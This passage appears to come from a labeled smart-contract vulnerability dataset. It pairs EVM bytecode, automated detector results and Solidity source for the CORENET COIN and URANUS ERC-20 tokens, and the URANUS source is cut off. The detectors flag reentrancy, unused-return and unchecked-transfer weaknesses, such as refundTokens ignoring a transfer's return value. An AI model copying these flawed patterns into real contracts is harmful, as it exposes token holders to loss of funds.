503121561162057600080fd5b823561162b816115e8565b946020939093013593505050565b60008060006060848603121561164e57600080fd5b8335611659816115e8565b92506020840135611669816115e8565b929592945050506040919091013590565b60006020828403121561168c57600080fd5b8135610f9e816115e8565b80151581146104bd57600080fd5b6000602082840312156116b757600080fd5b8135610f9e81611697565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156116eb57600080fd5b823567ffffffffffffffff8082111561170357600080fd5b818501915085601f83011261171757600080fd5b813581811115611729576117296116c2565b8060051b604051601f19603f8301168101818110858211171561174e5761174e6116c2565b60405291825284820192508381018501918883111561176c57600080fd5b938501935b8285101561179157611782856115fd565b84529385019392850192611771565b98975050505050505050565b600080604083850312156117b057600080fd5b82356117bb816115e8565b915060208301356117cb816115e8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561184b5761184b611821565b5060010190565b60006020828403121561186457600080fd5b8151610f9e816115e8565b60008060006060848603121561188457600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118af57600080fd5b8151610f9e81611697565b600082198211156118cd576118cd611821565b500190565b6000828210156118e4576118e4611821565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119395784516001600160a01b031683529383019391830191600101611914565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261197757634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561199657611996611821565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205d0a1cc9da073ea65df82c18847a06bc761fe665e06ae3492b771f88ef27894f64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,604 |
0x74263f99e21db7c38a319e8ed40bfeca2da791f5
|
pragma solidity ^0.4.24;
/*
* Creator: CRT (CORENET COIN)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* CORENET COIN smart contract.
*/
contract CORENET is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 36000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function CORENET () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "CORENET COIN";
string constant public symbol = "CRT";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae3565b005b34801561043c57600080fd5b50610445610d03565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d3c565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc8565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e4f565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600c81526020017f434f52454e455420434f494e000000000000000000000000000000000000000081525081565b6000806106ed3385610dc8565b14806106f95750600082145b151561070457600080fd5b61070e8383610fb0565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b6108448484846110a2565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad9576109d46a1dc74be914d16aa4000000600454611488565b8211156109e45760009050610ade565b610a2c6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7a600454836114a1565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ade565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7c57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c2257600080fd5b505af1158015610c36573d6000803e3d6000fd5b505050506040513d6020811015610c4c57600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f435254000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9757600080fd5b600560009054906101000a900460ff1615610db55760009050610dc2565b610dbf83836114bf565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eab57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee657600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110df57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561116c5760009050611481565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111bb5760009050611481565b6000821180156111f757508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561141757611282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134a6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d46000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149657fe5b818303905092915050565b60008082840190508381101515156114b557fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114fc57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561154b576000905061170b565b60008211801561158757508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156116a1576115d46000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165e6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820fc9ae205c19ea03d5d32878128fdff333d39aca6a037eed9d245728b92cd8da30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 8,605 |
0xd1e50e2fec26f871dd39e334425032a41eef210a
|
/**
* https://t.me/enteruranus/
* https://uranustoken.finance/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract URANUS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Uranus";
string private constant _symbol = unicode"ANUS🪐";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 30;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(2)).div(10);
_teamFee = (_impactFee.mul(10)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 2;
_teamFee = 10;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
